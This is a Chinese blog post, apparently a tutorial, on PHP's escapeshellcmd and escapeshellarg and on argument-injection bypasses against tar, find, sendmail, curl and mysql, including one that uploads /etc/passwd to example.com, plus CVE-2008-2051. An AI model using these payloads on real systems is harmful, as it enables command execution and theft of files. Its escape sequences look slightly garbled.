函数基础:

escapeshellcmd ( string $command ) : string

作用是转义shell元字符。

escapeshellcmd() 对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义。 此函数保证用户输入的数据在传送到 exec() 或 system() 函数,或者 执行操作符 之前进行转义。

反斜线(\)会在以下字符之前插入: &#;`|*?~<>^()[]{}$\, \x0A 和 \xFF。 ' 和 " 仅在不配对儿的时候被转义。 在 Windows 平台上,所有这些字符以及 % 和 ! 字符都会被空格代替。
  1. 确保用户只执行一个命令
  2. 用户可以指定不限数量的参数
  3. 用户不能执行不同的命令
escapeshellarg ( string $arg ) : string

把字符串转码为可以在shell命令中使用的函数。

escapeshellarg() 将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号,这样以确保能够直接将一个字符串传入 shell 函数,并且还是确保安全的。对于用户输入的部分参数就应该使用这个函数。shell 函数包含 exec(), system() 执行运算符 。
  1. 确保用户只传递一个参数给命令
  2. 用户不能指定更多的参数一个
  3. 用户不能执行不同的命令

绕过方法:

tar:

压缩some_file/tmp/sth

$command = '-cf /tmp/sth /some_file';
system(escapeshellcmd('tar '.$command));

创建一个空文件/tmp/exploit

$command = "--use-compress-program='touch /tmp/exploit' -cf /tmp/passwd /etc/passwd";
system(escapeshellcmd('tar '.$command));

find:

/tmp目录查找文件some_file

$file = "some_file";
system("find /tmp -iname ".escapeshellcmd($file));

打印/etc/passwd内容

$file = "sth -or -exec cat /etc/passwd ; -quit";
system("find /tmp -iname ".escapeshellcmd($file));

SENDMAIL:

发送mail.txtfrom@sth.com

$from = 'from@sth.com';
system("/usr/sbin/sendmail -t -i -f".escapeshellcmd($from ).' < mail.txt');

打印/etc/passwd内容

$from = 'from@sth.com -C/etc/passwd -X/tmp/output.txt';
system("/usr/sbin/sendmail -t -i -f".escapeshellcmd($from ).' < mail.txt');

CURL:

下载http://example.com内容

$url = 'http://example.com';
system(escapeshellcmd('curl '.$url));

发送/etc/passwd内容到http://example.com

$url = '-F password=@/etc/passwd http://example.com';
system(escapeshellcmd('curl '.$url));

你可以得到文件内容,使用如下payload:

file_put_contents('passwords.txt', file_get_contents($_FILES['password']['tmp_name']));

MYSQL

执行sql语句

$sql = 'SELECT sth FROM table';
system("mysql -u user -p password -e ".escapeshellarg($sql));

运行id命令

$sql = '! id';
system("mysql -u user -p password -e ".escapeshellarg($sql));

PHP 4 <= 4.4.8 and PHP 5 <= 5.2.5 – CVE-2008-2051

Shell需要使用GBK,EUC-KR,SJIS等可变宽度字符集的语言环境。

$text = "sth";
system(escapeshellcmd("echo ".$text));
$text = "sth xc0; id";
system(escapeshellcmd("echo ".$text));

或者

$text1 = 'word';
$text2 = 'word2';
system('echo '.escapeshellarg($text1).' '.escapeshellarg($text2));
$text1 = "word xc0";
$text2 = "; id ; #";
system('echo '.escapeshellarg($text1).' '.escapeshellarg($text2));

参考链接:

https://www.anquanke.com/post/id/107336#h2-21
说点什么
支持Markdown语法
好耶,沙发还空着ヾ(≧▽≦*)o
Loading...